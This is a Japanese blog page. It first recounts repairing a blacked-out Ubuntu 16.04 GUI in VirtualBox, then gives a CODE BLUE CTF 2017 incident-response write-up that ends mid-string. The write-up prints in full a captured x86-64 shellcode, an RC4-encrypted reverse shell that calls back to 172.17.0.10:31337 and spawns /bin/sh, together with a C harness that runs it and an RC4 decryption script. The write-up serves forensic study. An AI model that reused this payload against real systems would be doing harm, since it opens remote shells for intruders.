UbuntuのGUIが死んだ日
はじめに
先日,仙台CTFというイベントに参加したのですが,その際VirtualBoxに入れてある普段本当によく使うUbuntu16.04が,GUIが死んで画面が真っ暗になるという事故が起きていました.
このイベントでは仮想マシンが事前に配られてそれを使うのですが,CTF中は使い慣れたマシンも使いたいという思いがあったので,焦りました.
なんでこんなことが起きたのかというと,自分はWindows10でVirtualBoxを使っているのですが,会場でPCを1度シャットダウンする機会があったんですね.そこで,よく「起動中のプログラムがありますが,本当にシャットダウンしますか?」みたいにOSが気をきかせて言ってくることがあると思うんですけど,その際VirtualBoxが起動していたのですがそのまま気にせずシャットダウンしてしまいました.
今までもそれで不都合が起きたことはなかったので気にはしていなかったのですが,再びWindowsを起動し,VirtualBoxも起動してUbuntuを立ち上げてみたら,
真っ暗なんですね.
流石に焦ったのですが,「Ubuntu 真っ暗」とかで検索かければまぁいろいろ出てくる出てくるで,いくつか試せば簡単に直るやろ!wと思って試してみるも全く直る気配なし.
結局,Ubuntu14.04も入れてあったので,そちらを使ってなんとか乗り切りました.
その後
頑張って直しました.
試したことを時系列順に書こうかと思ったのですが,3つのカテゴリーに分けて箇条書きにしました.
役に立ったこと
/sbinへのPATHが通っておらず,upstart-udev-bridgeがないというエラーが出ていたので,/etc/environmentにPATHを書いた
.xsession-errors
を見てみると,以下のようなエラーが出ていました.
そこで, /etc/environment
に
PATH="/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/games:/usr/local/games"
という, .zshrc
に書いていたPATHをこちらにも書きました.
これが一番の原因だったっぽい.
lightdmのログを見てみる
/var/log/lightdm/lightdm.log
を見てみて,どれが原因なのかわからなかったけど,確かここで上記の .xsession-errors
という単語を知ったので,一応は役に立った?
役に立ったのか不明なこと
デスクトップ環境をUnityからGnomeに変更
ディスプレイマネージャーであるlightdmの原因かな?と思い,再インストールやらなんやらやっても直らなかったので,Unityの問題である可能性を考えて,Gnomeを入れてみた.
sudo apt-get install ubuntu-gnome-desktop
か sudo apt-get install gnome
どっちか(それとも両方?)実行した気がする.
(他にも tasksel 使って入れてみたりしたかな?覚えてない)
結局これだけでは直らなかったので,不明.
自動ログインをやめる
自動ログインするように設定していると,デスクトップ環境を選べないため.
これを行ったところ,ログイン画面では止まるようになったが,ログイン後なにも出てこず.
無駄だったこと
unity --reset
コマンドを打つととりあえずGUI環境は出てくるが,全画面表示にならないので,Ctrl + Alt + F7で全画面表示.
再起動するとダメだった.
startx
コンソールから startx
を入力することによって,とりあえずGUIは使えるようになったけど,根本的な原因が解決することはなかった.
/var/log/Xorg.0.logにfbdevのエラーが出ていたので,fbdevを入れてみる
GUIが死んだときに真っ先に Xorg.0.log
を見て,怪しそうなところを対処してみたやつ.
sudo apt-get install xserver-xorg-video-fbdev
直らない.却下.
sudo apt-get purge xserver-xorg-video-fbdev
compizの問題を疑い,これを初期化してみる
- 起動後,Ctrl + Alt + F1でコンソールに入る
DISPLAY=:0.0 gnome-terminal
を入力- Alt + F7でデスクトップ画面に復帰すると,新しい端末ウィンドウが出ているので,
dconf reset -f /org/compiz/
を入力 sudo shutdown -r now
これもダメだった.
ubuntu-desktopの再インストール
sudo apt-get install --reinstall ubuntu-desktop
これもダメ.
ディスプレイマネージャーの故障を疑い,初期化
/etc/X11/default-display-manager
には /usr/sbin/lightdm
とあったので,
dpkg-reconfigure lightdm
ダメ.
ディスプレイマネージャーの故障を疑い,再インストール
sudo apt-get purge lightdm
からの sudo apt-get install lightdm
ダメ.
lightdmがダメなのかと考え,gdmに変更してみる.
/etc/X11/default-display-manager
の内容を /usr/sbin/gdm3
に変更.
すると,起動時に The system is running in low-graphics mode
というエラーが出てきて論外.
この後,いろいろやってみてもgdmがダメそうなので,lightdmに戻した.
xorg.confがなかったので,/etc/X11に配置してみる
最初は拾ってきたものを配置してみたけどダメなので,ちゃんとしたものを配置してみる.
Xorg -configure
で自分の環境に合った xorg.conf
を自動生成してくれる便利コマンドがあるのですが,確かそのまま実行しようとするとエラーを吐かれるので,
sudo systemctl stop lightdm
sudo systemctl disable lightdm
で,ディスプレイマネージャーであるlightdmを止めてから無効化する.
すると, Xorg -configure
が通るので,生成された xorg.conf
を /etc/X11/
以下に配置.
再起動してみるも,変わらず.ダメ.
VirtualBoxのGuest Additionsを入れなおす
どこかで見かけてやってみたけどダメ.
まとめ
OS入れ直したほうが早いんじゃね?とか思った時もあったので,直ってよかった.
GUIが死んだときに真っ先に見るべき場所としては, /var/log/Xorg.0.log
と $HOME/.xsession-errors
だと思う.
なんのイジメなのか2点ほど新しくバグが出ていて,1つは PrtSc
を押すとフリーズするってやつと,もう1つは2回に1回ぐらいログイン画面でフリーズしてコンソールにも入れなくなるというバグ.
そろそろ他のLinux使えっていうことなんですかね.
参考
Linuxをインストールしたのに画面が黒いままで起動しないときの対処例
本の虫: Ubuntu 14.04のUnityの設定をぶっ壊した場合の修復方法
Ubuntu 16.04 LTS : GNOMEデスクトップ環境 : Server World
Ubuntu Unity その4 - Unity(Compiz)の設定を初期化する - kledgeb
Ubuntu 16.04 Unityが死亡したときの復旧メモ - ばずなダイアリー
Ubuntu 12.10 をインストールしたら low graphics mode になった話 - ぼくたち宇宙人
Ubuntuを起動したら「The system is running in low-graphics mode」と表示され、GUI環境が立ち上がらない - ITに疎いけど興味ある人のブログ
Ubuntu 14.04でログイン後ランチャーもツールバーも表示されない問題の復旧 - M12i.
Ubuntu系でGUIログイン出来ないのファイル破損かもよ - ぷちてく - Petittech
X Window が起動しなくなった! – KUJIRA note
Blank screen at boot - errors from Upstart on 16.04 - Ask Ubuntu
CODE BLUE CTF 2017 - Incident Response - Writeup
開催期間(JST)
11/09 AM10:00 ~ 11/10 PM4:00
結果
・チーム名:wabisabi
・得点:136 pt
・順位:得点したチーム中,138/555
はじめに
最初は難しすぎる印象があって参加する気がなかったのですが,いざ開始したのを見ると問題だけでも見てみるか,となって結局普通に参加してました.
ですが,Rev問が1問もわからずに諦めかけていたところ,チームメイトの一人が暗号を1問通してくれたので,やる気を取り戻してMiscのIncident Responseをやり始めました.
結局あと少しのところで解けなかったのですが,終了後に作問者のCharo_ITさんのツイートでなるほど,となって解けました.
以下,Writeupです.
Writeup
問題文
We found some strange activities on our web server. Can you find out what happened?
与えられたターボールを解凍すると, log.pcap
という名前のpcapファイルが得られるので,wiresharkで開いてみます.
怪しそうなところをFollow TCP Streamしたところです.
sessidとかはよくわかりませんが...GETなのにデータがくっついてるっぽいです.このバイナリデータはなんでしょうか?
ここの 172.17.0.10
から 172.17.0.2
に対してのHTTPリクエストが,上記のGETリクエストっぽいです.添付されてるデータをRaw(無加工)形式で抽出してみます.
全く分からないバイナリなので,ビットマップ表示してみます.
まだそんなに見慣れていないので断定はできませんが,ELFとかPEとかの実行形式っぽい?でしょうか.
逆アセンブルしてみます.
$ objdump -b binary -m i386 -M intel -D data > data.dis
中に /bin/sh
という文字列があるのですが,そこら辺を上手く逆アセンブルできてないっぽいので,x86-64で再度逆アセンブルしてみます.
$ objdump -b binary -m i386:x86-64 -M intel -D data > data.dis
今度はちゃんといけてるっぽいですね!
あとはこれをひたすら解析していきます.
先頭のほうを見るとわかるのですが, jmp 0x1ba
という命令があり,0x1baから始まる関数がmainっぽいです.
残りのバイナリもひたすら読んでいくと,mainとは別に3つの関数があるのがわかります.さらに,システムコールを呼ぶだけの関数?が10個以上あります.
システムコールは /usr/include/x86_64-linux-gnu/asm/unistd_64.h
を見ながら解析しました.
先頭のほう.
/dev/urandom
からデータを読み込む関数. read_urandom
と名付けます.
read_urandom
で読み込んだ32バイトを元に,なにかテーブルっぽいものを作っている関数. make_table
と名付けます.
わからんが,なにか作ってそう. make_something
と名付けます.
静的解析だけでもリバースシェルっぽいなとはわかるのですが,詳細な動作はわかりませんし, connect
ではどのホストでどのポートに繋いでいるのかもわかりません.
静的解析には限界があるので,動的解析に移りたいです.
先頭の jmp 0x1ba
より前の10バイトはゴミっぽいので除いておきます.
char code[] = "\xe9\xab\x01\x00\x00\x48\x31\xc0\x0f\x05\xc3\x48\x31\xc0\x48\xff\xc0\x0f\x05\xc3\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x03\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x09\x00\x00\x00\x49\x89\xca\x0f\x05\xc3\x48\xc7\xc0\x16\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x21\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x29\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x2a\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x39\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05\x48\xc7\xc0\x3d\x00\x00\x00\x49\x89\xca\x0f\x05\xc3\x66\x0f\x1f\x84\x00\x00\x00\x00\x00\x55\x53\x48\x89\xfd\x48\xb8\x2f\x64\x65\x76\x2f\x75\x72\x61\x31\xf6\x48\x83\xec\x18\x48\x89\xe7\x48\x89\x04\x24\xc7\x44\x24\x08\x6e\x64\x6f\x6d\xc6\x44\x24\x0c\x00\xe8\x56\xff\xff\xff\x48\x89\xee\x89\xc3\xba\x20\x00\x00\x00\x89\xc7\xe8\x36\xff\xff\xff\x89\xdf\xe8\x48\xff\xff\xff\x48\x83\xc4\x18\x5b\x5d\xc3\x0f\x1f\x00\xc7\x47\x04\x00\x00\x00\x00\xc7\x07\x00\x00\x00\x00\x31\xc0\x90\x88\x44\x07\x08\x48\x83\xc0\x01\x48\x3d\x00\x01\x00\x00\x75\xf0\x31\xc0\x31\xd2\x0f\x1f\x40\x00\x44\x0f\xb6\x44\x07\x08\x48\x89\xc1\x83\xe1\x1f\x45\x89\xc2\x44\x02\x14\x0e\x44\x89\xd1\x01\xca\x0f\xb6\xca\x44\x0f\xb6\x4c\x0f\x08\x48\x89\xca\x44\x88\x4c\x07\x08\x48\x83\xc0\x01\x44\x88\x44\x0f\x08\x48\x3d\x00\x01\x00\x00\x75\xc6\xf3\xc3\x66\x90\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x48\x85\xd2\x4c\x8d\x14\x16\x74\x47\x0f\x1f\x80\x00\x00\x00\x00\x8b\x07\x8b\x57\x04\x83\xc0\x01\x0f\xb6\xc0\x89\x07\x0f\xb6\x4c\x07\x08\x01\xca\x0f\xb6\xd2\x89\x57\x04\x44\x0f\xb6\x4c\x17\x08\x44\x88\x4c\x07\x08\x88\x4c\x17\x08\x02\x4c\x07\x08\x0f\xb6\xc9\x0f\xb6\x44\x0f\x08\x30\x06\x48\x83\xc6\x01\x49\x39\xf2\x75\xc0\xf3\xc3\x0f\x1f\x40\x00\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x41\x57\x41\x56\x31\xc0\x41\x55\x41\x54\xb9\x21\x00\x00\x00\x55\x53\x48\x81\xec\xb8\x01\x00\x00\x48\x8d\xac\x24\xa0\x00\x00\x00\x48\xc7\x44\x24\x60\x00\x00\x00\x00\x48\xc7\x44\x24\x68\x00\x00\x00\x00\x48\xc7\x44\x24\x70\x00\x00\x00\x00\x48\xc7\x44\x24\x78\x00\x00\x00\x00\x48\x89\xef\x48\xc7\x44\x24\x50\x00\x00\x00\x00\x48\xc7\x44\x24\x58\x00\x00\x00\x00\xf3\x48\xab\xe8\x4c\xfe\xff\xff\x85\xc0\x0f\x85\xe7\x01\x00\x00\x31\xd2\xbe\x01\x00\x00\x00\xbf\x02\x00\x00\x00\xe8\x1f\xfe\xff\xff\x48\x8d\x5c\x24\x60\x48\x8d\x74\x24\x50\xba\x02\x00\x00\x00\xb9\x7a\x69\x00\x00\x66\x89\x54\x24\x50\x89\xc7\xba\x10\x00\x00\x00\x66\x89\x4c\x24\x52\x41\x89\xc4\xc7\x44\x24\x54\xac\x11\x00\x0a\x4c\x8d\x74\x24\x40\xe8\xef\xfd\xff\xff\x48\x89\xdf\xe8\x24\xfe\xff\xff\xba\x20\x00\x00\x00\x48\x89\xde\x44\x89\xe7\xe8\x8f\xfd\xff\xff\x48\x89\xde\x48\x89\xef\xe8\x59\xfe\xff\xff\x45\x31\xc9\x41\xb8\xff\xff\xff\xff\xb9\x22\x00\x00\x00\xba\x03\x00\x00\x00\xbe\x00\x10\x00\x00\x31\xff\xe8\x82\xfd\xff\xff\x48\x89\xc3\x48\x8d\x44\x24\x30\x48\x89\x44\x24\x08\x48\x8d\x44\x24\x20\x48\x89\x44\x24\x18\x48\x8d\x84\x24\x80\x00\x00\x00\x48\x89\x44\x24\x10\x66\x0f\x1f\x44\x00\x00\xba\x00\x10\x00\x00\x48\x89\xde\x44\x89\xe7\xe8\x25\xfd\xff\xff\x48\x85\xc0\x0f\x84\x17\x01\x00\x00\x48\x3d\x00\x10\x00\x00\x74\x04\xc6\x04\x03\x00\x48\x89\xc2\x48\x89\xde\x48\x89\xef\xe8\x4d\xfe\xff\xff\x48\x8b\x7c\x24\x08\xe8\x28\xfd\xff\xff\xe8\x4b\xfd\xff\xff\x85\xc0\x41\x89\xc5\x74\x67\x8b\x7c\x24\x34\xe8\xfc\xfc\xff\xff\xeb\x20\x0f\x1f\x40\x00\x48\x89\xc2\x48\x89\xde\x48\x89\xef\xe8\x1a\xfe\xff\xff\x4c\x89\xfa\x48\x89\xde\x44\x89\xe7\xe8\xc7\xfc\xff\xff\x8b\x7c\x24\x30\xba\x00\x10\x00\x00\x48\x89\xde\xe8\xb0\xfc\xff\xff\x48\x85\xc0\x49\x89\xc7\x75\xcb\x8b\x7c\x24\x30\xe8\xb8\xfc\xff\xff\x48\x8b\x74\x24\x10\x31\xc9\x31\xd2\x44\x89\xef\xe8\x03\xfd\xff\xff\xe9\x54\xff\xff\xff\x0f\x1f\x40\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x31\xff\xc6\x44\x24\x22\x00\x48\x89\x44\x24\x40\xb8\x2d\x63\x00\x00\x4c\x89\xb4\x24\x80\x00\x00\x00\x66\x89\x44\x24\x20\x48\x8b\x44\x24\x18\x48\x89\x9c\x24\x90\x00\x00\x00\x48\xc7\x84\x24\x98\x00\x00\x00\x00\x00\x00\x00\x48\x89\x84\x24\x88\x00\x00\x00\xe8\x50\xfc\xff\xff\x8b\x7c\x24\x30\xe8\x47\xfc\xff\xff\x8b\x7c\x24\x34\xbe\x01\x00\x00\x00\xe8\x5a\xfc\xff\xff\x48\x8b\x74\x24\x10\x31\xd2\x4c\x89\xf7\xe8\x73\xfc\xff\xff\xe9\xd7\xfe\xff\xff\x0f\x1f\x80\x00\x00\x00\x00\x31\xff\xe8\x6a\xfc\xff\xf"; int main(){ (*(void (*)())code)(); }
ももテクさんの記事( Linux x86用のシェルコードを書いてみる - ももいろテクノロジー )を参考にしました.
以下が,gdb-pedaで解析時の connect
を呼ぶ時の引数です.
Guessed arguments: arg[0]: 0x3 arg[1]: 0x7fffffffc900 --> 0xa0011ac697a0002 arg[2]: 0x10 arg[3]: 0x697a ('zi')
connect
を呼ぶ時の引数は connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("127.0.0.1")}, 16)
のようになっているはずですが,そう考えると
arg[0]: 0x3 <- 3 arg[1]: 0x7fffffffc900 --> 0xa0011ac697a0002 <- {sa_family, sin_port, sin_addr} arg[2]: 0x10 <- 16 arg[3]: 0x697a ('zi')
こんな感じでしょうか.4つ目の引数はよくわかりません.
0xa0011ac697a0002
のうち,どれがホストでどれがポート番号なのかわからないので,ソケット通信するプログラムを拾ってきて,調べたところ,
0a0011ac(ac 11 00 0a -> 172.17.0.10) -> inet_addr 697a(7a69 -> 31337) -> htons 0002(0200 -> AF_INET?)
こんな感じになっていることがわかりました.
ここまでの解析結果をまとめると以下のようになります.
- 攻撃者(172.17.0.10)と思われる側からサーバ側(172.17.0.2)になんらかの脆弱性を突かれて,シェルが開いた
- サーバ側から結果を受け取る攻撃者のポート番号は31337
pcapファイルにて,ポート番号31337でフィルター(tcp.port == 31337)してみます.
3way handshake後,なんらかのデータがサーバ側から送られてることがわかります.
32バイトのデータが送られてきている部分↓
2バイトのデータを送っている部分↓
54バイトのデータが送られてきている部分↓
これらを見て,最初の32バイトはわからないにしても, 短いデータを送っているのはコマンド
, その後返ってきているのは実行結果
みたいに見えてきませんかね?
ただ,暗号化されているっぽくて全く内容はわかりません.
2バイト送っているのは, ls
か id
とかでしょうか.
とにかく,この暗号化されたデータを復号すればフラグが出てきそうです.
再び,逆アセンブル結果を見てみます.
データを送っているのは write
を読んでいるところのはずなので,そこに注目して見ていくと,2つのwriteがあることがわかります.
1つは read_urandom
を呼んだ後.
もう1つは make_something
を呼んだ後.
となると,上記の最初に送られてきている32バイトのデータは /dev/urandom
から読み取った値っぽいです.
これが鍵になるのでしょうか?
暗号に疎く,方式が全く分からないので,なにか換字式っぽいものなのかなとしか見当がつきませんでした.
そこで,ローカルでこの環境を再現しようと考えました.
pythonでソケット通信するプログラムを書き,リバースシェル側から /dev/urandom
の値が送られてきたら,上記の最初に送っているコマンドっぽい2バイト( \x50\xbd
)を送り返すようにします.
/dev/urandom
はどうするかというと,上記の32バイトがそれっぽいので,これを urandn
とかいうファイル名で /dev
以下に保存しておき,リバースシェルのバイナリの urandom
という文字列を urandon
に変更して,そこから読み取るようにしました.
これでgdbでステップ実行していくと...
read
を呼んで \x50\bd
がリバースシェル側に送られた後, make_something
が実行されます.
実行後のRBXの値が
RBX: 0x7ffff7ff5000 --> 0x6469 ('id')
ビンゴです!これで他の結果も復号できると考えたのですが...できず.どうやら使用している鍵が変わっているっぽくて,さらに言うと実行結果がどう暗号化されて返ってきているのかも,解析することはできませんでした.
結局復号ができず,仮眠を取って起きてみたらCTFは終了していました.
悔しすぎるのでTwitterで情報収集していたところ,作問者のCharo_ITさんからこんなツイートが.
Incident Response: request bodyにx86_64なシェルコードがついてるGETリクエストがあるので、pcapから引っこ抜いてrevする。すると、RC4で通信内容を暗号化したreverse shellを張る処理になっていることがわかるので、pcapからreverse shellの通信を抜いて復号 #cbctf #codeblue_ctf
— しゃろ (@Charo_IT) 2017年11月10日
暗号化方式はRC4というものらしいです.
聞いたことがあるような無いようなもので,調べました.ここでも,ももテクが出てくる辺りももテクすごい.
ストリーム暗号というものに該当するらしいですね.
上記の記事にあるコードの,keyを /dev/urandom
の32バイトに,messageを \x50\xbd
に変更して実行してみる.
#!/usr/bin/env python # -*- coding: utf-8 -*- def KSA(key): # key から256マスの変換テーブル S を作る S = range(256) j = 0 for i in xrange(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] return S def PRGA(S): # S を更新しながら1バイトずつ数字を吐き出すジェネレータを返す i, j = 0, 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(data, key): # data がメッセージなら暗号化、暗号文なら復号する S = KSA(key) gen = PRGA(S) data = bytearray(data) result = bytearray(c ^ n for c, n in zip(data, gen)) return str(result) # 鍵とメッセージを準備 key = '\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda' message = '\x50\xbd' # 暗号化して、復号する print "key: %r (%d bits)" % (key, len(key)*8) print "message: %r" % message ciphertext = RC4(message, key) print "ciphertext: %r" % ciphertext message2 = RC4(ciphertext, key) print "message2: %r" % message2
$ python decrypt.py key: '\xb0\xf8p\xfbu\x87\xc0H+\xb7\xf7\xc1\xf79\x1f\x9ef\xde,\xd9%X\xca\x1f\x87\xf2\xdf#/\xed\xc7\xda' (256 bits) message: 'P\xbd' ciphertext: 'id' message2: 'P\xbd'
ア!w
RC4はXORをしているので,暗号文を暗号する,みたいなことをやれば復号できるわけですね.
さぁ,あとはスクリプトを書いて暗号文を全部復号するだけです.
注意なのが,RC4では暗号化の度に毎回テーブルの値(の順番?)が変わっていくので,毎回同じテーブルを使っていると正しく復号できません.
以下が,書いたコード.(ももテクさんの記事にあったコードを,毎回同じテーブルを使わないように変更しただけ)
#!/usr/bin/evn python # -*- coding: utf-8 -*- S = range(256) def KSA(key): # key から256マスの変換テーブル S を作る j = 0 for i in xrange(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] def PRGA(S): # S を更新しながら1バイトずつ数字を吐き出すジェネレータを返す i, j = 0, 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(data, gen): # data がメッセージなら暗号化、暗号文なら復号する data = bytearray(data) result = bytearray(c ^ n for c, n in zip(data, gen)) print str(result) def main(): # 鍵とメッセージを準備 key = "\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda" KSA(key) gen = PRGA(S) message1 = "\x50\xbd" message2 = "\x95\x3b\x7a\xff\xd9\x18\x32\x3a\x33\x28\x32\xe1\x12\xbe\xec\xa9\x46\x30\x7d\x33\x54\xd5\x3c\xbd\xc4\xc1\xcc\x80\x35\x3a\x25\x3d\x88\xbf\x14\x69\xb7\xd1\xf3\x0d\x17\x96\x4c\xb5\x19\x5f\x4c\x7e\x15\xe1\x21\x5b\x5e\x24" message3 = "\x10\xb6\xf8" message4 = "\x48\xc8\x0c\x81\x3a\xce\x27\x92\xd4\xbd\x18\x75\x1b\xbb\xfc\x49\x15" message5 = "\x3c\x18\x14\xac\x38\xa9" message6 = "\x1d\x3d\xb5\x74\xae\x8a\x02\x13\x87\x45\x14\xc1\x9e\x2d\xcf\x51\x32\xc0\xb4\xc6\x15\xdb\x67\x31\x36\x72\x2a\x2a\x2d\xad\x9f\x2f\x91\xf6\x84\xfe\xa8\x9d\x60\x3b\x0f\x9d\x22\x16\x5b\x95\x08\xe0\x8b\x82\x3a\x3c\xad\x69\x85\xb9\x13\xaa\xb1\xf3\xad\xff\x74\x72\xc8\x22\xf0\x86\xd9\x16\x23\x3e\x6c\x1f\xfd\xaa\x5f\x9f\x43\xe1\x9b\xb4\x7c\xcd\xa2\xe9\xfc\xd0\xa8\xcd\xbe\x88\xfb\xa2\x2f\x39\xd0\xcb\x01\x4b\x76\x99\x15\xb7\x43\x83\xf6\xf9\x60\xb7\x50\x45\x9c\x9e\x2c\xa6\x02\x3b\xb1\x98\x55\xb4\x43\x08\x29\x1c\x87\x74\x27\xee\x2d\x5d\x32\x1a\x99\xba\x6b\x6e\x8a\xbc\xd1\x35\x8a\x5d\xf7\x69\x46\xc3\x17\x0a\xe2\x62\xac" message7 = "\xc9\xaf\x42\x66\x76\xee\x77\xa5\xd1\x0c\xa0\xa3\x22\x05\xb3\x02\x77\x25" message8 = "\xc5\x49\x1f\xcb\x60\x22\x9b\x3c\x52\x56\x1f\x98" message9 = "\x9a\xc5\x54\xe8\x17\x6f\x91\x7e\x59\xe2\x84\x01\xdb\x8e\xa0" message10 = "\xbb\x7d\x76\xd7\x68\xed\xfc\x82\xc4\xe6\x9a\x20\x11\x33\xb6\xe2\x8a\x84\xb2\x1d\x28\xa2\xfe\x71\xe3\x8b\x2b\xaf\x4d\xec\x42\x0b\x5a\x61\x7b\xd1\xde\x09\xb4\x0c\x6f\xae\x70\x0b\x84\xee\xf3\x6a\x95\xd5\x60\xb1\x94\x73\x12\x88\xb3\x9d\x6b\x61\x6f\x17\xa9\xa1\xe3\x22\xb1\xf2\x29\x99\x05\x5f\xce\xd5\x01\xbe\x0c\xf2\xe2\xde\x13\x05\x81\x86\x90\xae\xe8\xa1\xe1\x2e\xee\x5a\x36\x4a\xb6\x1a\xed\xd9\xda\x4c\x1e\xa3\xae\x93\x9b\xbd\xef\xa2\x17\xda\x4d\x77\x64\x81\x0f\x87\xcb\x32\x1b\x77\x0b\x78\xfa\xad\x9d\x6f\xd1\x8b\xbd\x2a\x69\x1d\x45\x5c\x31\x92\xda\xe7\x3f\xa4\xe3\x39\x26\x0c\xa5\x7c\x44\xf3\x90\x94\xb7\xb6\xb3\xc4\x37\xa9\xe0\x59\xb7\x4f\xf7\x54\xb1\x16\x8e\x62\xe3\x81\x3d\x9a\xe9\xe8\xed\xac\xcd\x2a\x89\x7d\x72\x95\x97\x81\x9b\xba\x22\xfa\x60\x66\x37\x99\xd0\x45\x17\x9e\x26\x81\xb4\xb3\x0d\x09\x0f\x3f\x9a\xf4\xfc\xf5\xe0\x20\x4c\x33\x21\x6b\x0b\x6c\x15\x34\xd2\xd0\x7a\xa4\xff\xb4\xac\xd3\x9b\x5e\x45\x28\x95\xf6\x1d\xcb\x7b\x23\xee\x9d\x24\x84\xa0\xa5\x1f\x85\xd5\x39\xf9\x99\x7a\x44\xac\x83\x4d\x7c\x30\x64\x15\xa3\x32\xab\x97\xa6\x1a\x96\x3b\x22\xdd\xee\x16\x83\x01\xb1\xe9\x9c\x3a\x0e\xb2\x14\xc1\xb6\xe9\xad\x67\x2b\x01\x4a\xae\xa6\x5f\xe6\xe4\x43\xe9\x93\x9d\x3a\xf0\x40\xc6\x04\x8a\x25\xc3\xa6\xd0\xf8\x17\x11\xbd\xa1\x7c\x32\x2a\x83\x3e\xca\x20\x99\xd4\x21\x88\xa8\xa7\x35\xa4\xd1\x28\x06\x00\x56\xcc\x92\x6f\xab\xc1\xac\x0c\x84\xfe\x2e\x67\xe1\x54\xcc\x62\xe9\xc9\xe3\xff\x79\x15\xa3\x1b\x5f\xaa\xc6\x37\xc9\x04\xe8\x1e\xc4\x69\xae\xe0\xda\xd7\x1b\xdc\x9c\x7d\x74\x8a\xce\xde\x16\x38\x98\xfc\x97\xcf\x1a\x69\x69\x72\x54\xd9\x39\x57\x38\xb4\xeb\x97\x0e\xf9\xc4\x4c\xbe\xfd\x3b\x75\xf2\xfa\x02\x0e\xc8\x36\x72\xa3\xe6\xc7\x78\xfc\xff\xfa\x51\x31\xf4\x29\xec\x15\x24\x1e\x72\x1e\x6e\xfb\x19\xb1\xbf\x35\x31\xfb\xe0\xb8\x32\x1b\x1e\xd3\x5f\xde\xbc\x19\x3b\xc2\x17\xdf\xe3\x2f\x24\x75\x5b\x5c\x7f\xce\x82\x6a\xe5\xae\x65\x14\xa0\x7d\xd1\x44\x4c\x5a\xcf\xb7\xca\x66\xda\x9e\xc1\xb5\x8d\x61\x35\xff\x45\x85\xa0\x6b\x7b\xce\x94\xe8\xe5\x5d\x66\x0b\x29\x7a\xd3\xfd\x6f\x94\x17\xc7\xb4\x1c\x3e\x62\xc2\x58\x9a\x34\x3e\x83\x2c\xf4\xd7\xa7\xa5\xd6\x43\x87\x4f\x43\xd7\xf0\x86\x4a\x48\xb3\xb3\x77\x3d\x4a\x42\xca\x29\x07\x1e\xf3\xf0\x5d\x52\x58\x2a\x7e\xbc\x84\xbc\xac\xeb\xe5\x50\x75\xd3\x3a\xdc\x46\x3f\x9c\xd6\x69\x26\x34\x9c\xe3\x8d\x44\x00\x06\x76\xbf\x3c\x83\x55\x41\x98\x91\xb2\x21\xb4\x73\xda\x47\x33\xd6\x6a\x05\x32\xb2\xdf\x59\x08\xaf\x86\x6c\xf6\x13\xdd\x2a\xe6\xb7\xb2\x74\x8c\x1e\x32\x88\x85\x19\x62\x8e\x6f\x60\xea\x64\xe6\x66\xdf\x5e\x14\x90\x6b\x6b\xb5\x0a\x90\x0c\x25\x05\xa8\xf4\x63\xb8\x5a\x52\xa7\xe3\x83\xd7\x2a\x77\xd6\xed\xa1\xa8\xf2\x93\x9b\xbf\xb8\x9b\x46\xa7\x69\x64\xbc\xbb\xbe\x64\xe5\xe2\x4b\xef\x3a\x29\x75\x7c\x9d\x9d\x10\x28\x41\xf2\xe3\xbe\xdb\xd8\xfd\xbb\x3b\xdf\xdc\xd2\x80\x83\x69\x25\x2b\x5b\x63\x7e\x05\xc4\xe8\x98\x5f\x9e\x80\xa7\x0c\x6c\x2e\x93\x28\x1c\x09\x35\x03\xac\x7b\x84\x6a\x4a\xa1\x7c\x6f\xd1\x5c\x3b\x78\x83\xa1\x9c\xf0\x75\x8b\x28\xdb\x6e\xc3\x7d\xb2\x00\xfa\x36\xb4\x81\xdd\x6d\xc1\xd0\xc2\x9a\xb9\x43\x8f\x63\x9e\xd8\x3f\xf9\x24\x36\x6b\xde\x2f\x48\xcd\xb0\xf1\x90\x71\x38\xc1\x6a\xc9\x9d\xe2\x7e\xfd\x3f\x9b\xdf\x36\x06\x81\xef\x8f\x98\x6e\x50\x10\xcc\xa1\x0f\x35\x49\x81\x48\x53\x6d\x98\xdf\xde\x32\xaf\x9d\x08\x0c\x56\xac\xf7\xc8\xea\x3a\x64\xfa\x6f\x50\x76\x63\xe8\x47\x39\x95\x88\x74\x76\xb8\x50\x70\x38\x06\x59\xe8\x8e\x5e\x0f\xe6\xd2\xca\x6f\xee\x80\x5e\xc4\xe6\x2a\x6c\xe6\xa6\x1d\x09\xe9\x64\x31\xbb\xa0\x8b\xb5\x25\x55\x04\xf7\x17\x58\xea\x7b\xd9\xf1\xf5\x1d\x47\x51\x10\x1a\x22\x95\xe9\x80\x69\xbe\x0b\xf5\x25\xbe\xa5\xb0\x6e\xc3\x7e\xc9\x8c\x2a\xb9\xee\x94\x50\x33\x62\xb6\xc0\x6d\xc7\xa9\xb5\xaa\xeb\x09\x45\x98\x3f\x1b\xe8\x37\x5f\x21\x30\xc0\xb0\xa9\xc5\x7f\xaa\xa9\x55\x93\x42\x67\xe3\x6f\x75\x90\xcf\x86\xa0\xb6\x